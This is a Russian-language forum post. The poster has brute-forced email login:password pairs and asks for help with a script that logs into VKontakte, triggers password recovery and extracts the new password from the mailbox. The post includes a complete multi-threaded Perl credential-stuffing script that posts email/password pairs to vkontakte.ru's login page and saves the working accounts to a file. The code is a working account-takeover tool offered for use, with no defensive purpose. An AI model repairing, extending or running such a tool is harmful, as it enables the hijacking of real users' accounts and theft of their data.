Объясняю по русски: у меня есть мыла отбрученные вида
Lolgin@mail.ru:password
мне надо чтобы скрипт заходил на вконтакте и нажимал восстановить пароль и из письма выдирал пасс, вроде ничего сложного.
Я нашёл, но он что то кривовато, мб подскажите как оно и чем едят
#! /usr/bin/perl -w
#(c)Kaimi
#modified by b00 (v0.2), Oct 2008
use strict;
use IO::Socket;
use threads;
use threads::shared;
die "\nUsage: \$ ./pass_bruter.pl [threads] [input file (or e-mails file)] [output file] [password (if entered e-mail list)]\n\n" if !@ARGV;
our $threads = $ARGV[0] || 5 ; #Кол-во потоков
#our $combolist = $ARGV[1]; # Structure: e-mail:password
#our $fname = $ARGV[2] || 'good.txt' ; #Валидные
our $pass = $ARGV[3] || undef ; #pwd
#our $ml = shift || Reult ; #Список мыл
my $acc;
my @acc:shared;
my $i:shared;
my $total:shared=0;
$|=1;
print "Loading...\n";
open (ACS,'<',$ARGV[1]) || die("Could not open input file: $!");
while (<ACS>){
chomp;
($acc,$pass)=split(/:/,$_);
push(@acc,"$acc,$pass");
}
my $size = $.;
my $time = time;
my $start = localtime;
print "Loaded: ",$size," emails.\n";
printf "Started at $start\n";
my @trl;
for(0..local $threads) {$trl[$_] = threads->create(\&Brut, $_);}
foreach(@trl) { $_->join; }
my $percent;
sub Brut{
while(@acc){
{lock(@acc); ($acc,$pass)=split(/,/,shift(@acc));}
my $sock = new IO::Socket::INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
# LocalPort => 8080,
PeerProto => 'tcp',
TimeOut => 20,
) or die "Can't connect: $!\n";
my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\n".
"Host: vkontakte.ru\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9) Gecko/2008052906 Firefox/2.0.0.11\n".
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n".
"Accept-Language: ru,en-us;q=0.7,en;q=0.3\n".
"Accept-Encoding: gzip,deflate\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n".
"Keep-Alive: 300\n".
"Proxy-Connection: keep-alive\n".
"Referer: http://vkontakte.ru/index.php\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";
print $sock $re;
sysread ($sock, my $answ, 988);
if($answ=~/\S{32}/){
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, '>>',$ARGV[2]) || die("Could not open $ARGV[2]: $!\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();
}
}
$time = time-$time;
my $end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "File $ARGV[1] processed.\n";
printf "Finded: $total :(\n" if $total==0;
printf "Finded: $total :)\n" if $total>0;
sub progress(){
print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}
exit();